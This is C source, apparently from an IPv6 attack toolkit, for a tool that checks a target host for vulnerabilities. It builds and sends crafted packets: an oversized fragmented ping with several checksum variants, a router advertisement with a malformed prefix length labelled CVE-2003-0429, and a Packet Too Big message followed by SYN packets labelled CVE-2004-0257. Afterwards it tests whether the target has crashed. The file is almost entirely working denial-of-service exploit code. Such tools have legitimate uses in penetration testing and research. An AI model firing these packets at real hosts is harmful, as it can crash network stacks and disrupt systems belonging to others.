void send_toobig(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr, *target; int len = header->caplen; if (do_hdr_size) { ipv6hdr = (unsigned char *) (data + do_hdr_size); len = header->caplen - do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; offset = do_hdr_size; } else { ipv6hdr = (unsigned char *) (data + offset); len = header->caplen - offset; } if (ip6 != NULL && memcmp(ip6, ipv6hdr + 8, 16) != 0) // is it the target? return; if (ipv6hdr[6] == NXT_ICMP6 && ipv6hdr[40] < 128) // no ICMP Errors return; thc_toobig6(interface, src6, mac6, NULL, mtu, ipv6hdr, len); target = thc_ipv62notation(ipv6hdr + 8); printf("Sent TooBig packet to %s\n", target); free(target); if (loop == 0) // do we loop? go = 0; }
int main(int argc, char *argv[]) { int test = 0, count = 1, tmplen; unsigned char buf[1500], bla[1500], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src "; unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal; unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6]; thc_ipv6_hdr *hdr; int i = 0, j, srcmtu, fragsize, offset = 14; pcap_t *p; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500; char *interface; thc_ipv6_hdr *ipv6; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (strcmp(argv[1], "-p") == 0) { noping = 1; argv++; argc--; } if (do_hdr_size) offset = do_hdr_size; interface = argv[1]; dst6 = thc_resolve6(argv[2]); route6 = thc_resolve6("2a01::"); memcpy(ldst6, dst6, 16); memset(ldst6 + 2, 0, 6); ldst6[0] = 0xfe; ldst6[1] = 0x80; mcast6 = thc_resolve6("ff02::1"); if (argc >= 4) test = atoi(argv[3]); memset(buf, 0, sizeof(buf)); memset(null_buffer, 0, sizeof(null_buffer)); src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); strcat(string2, thc_ipv62notation(dst6)); srcmac = thc_get_own_mac(interface); if (rawmode == 0) { if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } } else dstmac = null_buffer; if ((srcmtu = thc_get_mtu(interface)) <= 0) { fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface); exit(-1); } if (do_hdr_size) srcmtu -= (do_hdr_size - 14); fragsize = ((srcmtu - 62) / 8) * 8; if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } setvbuf(stdout, NULL, _IONBF, 0); memset(tests, 0, sizeof(tests)); printf("Performing vulnerability checks on %s via %s:\n", argv[2], argv[1]); if (noping == 0 && check_alive(p, interface, src6, dst6) == 0) { fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[2]); exit(-1); } else printf("Test 0: normal ping6\t\t\t\tPASSED - we got a reply\n"); /********************** TEST CASES ************************/ if (test == 0 || test == count) { // 1432 printf("Test %2d: CVE-NONE overlarge ping, 6 checksum combinations\n", count); tmplen = 65864; if ((mal = malloc(tmplen)) == NULL) return -1; memset(mal, count % 256, tmplen); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; // because of the different possible checksum calculations we have to do them all hdr->pkt[offset + 40 + 3] = 0xe5; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 2] = 0x98; hdr->pkt[offset + 40 + 3] = 0xa4; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 3] = 0xa3; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 2] = 0x84; hdr->pkt[offset + 40 + 3] = 0x90; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 3] = 0x8f; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; free(mal); pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { // 1432 printf("Test %2d: CVE-NONE large ping, 3 checksum combinations\n", count); tmplen = 65527; if ((mal = malloc(tmplen)) == NULL) return -1; memset(mal, count % 256, tmplen); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; // because of the different possible checksum calculations we have to do them all hdr->pkt[offset + 40 + 2] = 0x31; hdr->pkt[offset + 40 + 3] = 0x8c; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize); hdr->pkt[offset + 40 + 3] = 0x8a; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize); free(mal); pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-2003-0429 bad prefix length (little information, implementation unsure\n", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = 128; // prefix length // BUG IS HERE buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); memcpy(&buf[32], route6, 16); i += 28; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x00; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word i += 16; // 56-71 address, all zeros for default thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-2004-0257 ping, send toobig on reply, then SYN pkt\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &bla, 68, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *) pkt; thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); sleep(1); thc_toobig6(interface, src6, srcmac, dstmac, 68, ipv6->pkt + offset, ipv6->pkt_len - offset); i = 0; while (ports[i] != 0) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_tcp(pkt, &pkt_len, 1100 + i * 100, ports[i], i * 1000, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); pkt_len = 0; i++; } } count++; /* if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; */ /* if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count%256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; */ // more? /******************* END OF TESTCASES ***************************/ if (noping == 1 || check_alive(p, interface, src6, dst6)) printf("Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count); else printf("Test %2d: normal ping6 (still alive?)\t\tFAILED - target is unavailable now!\n", count); thc_pcap_close(p); return 0; }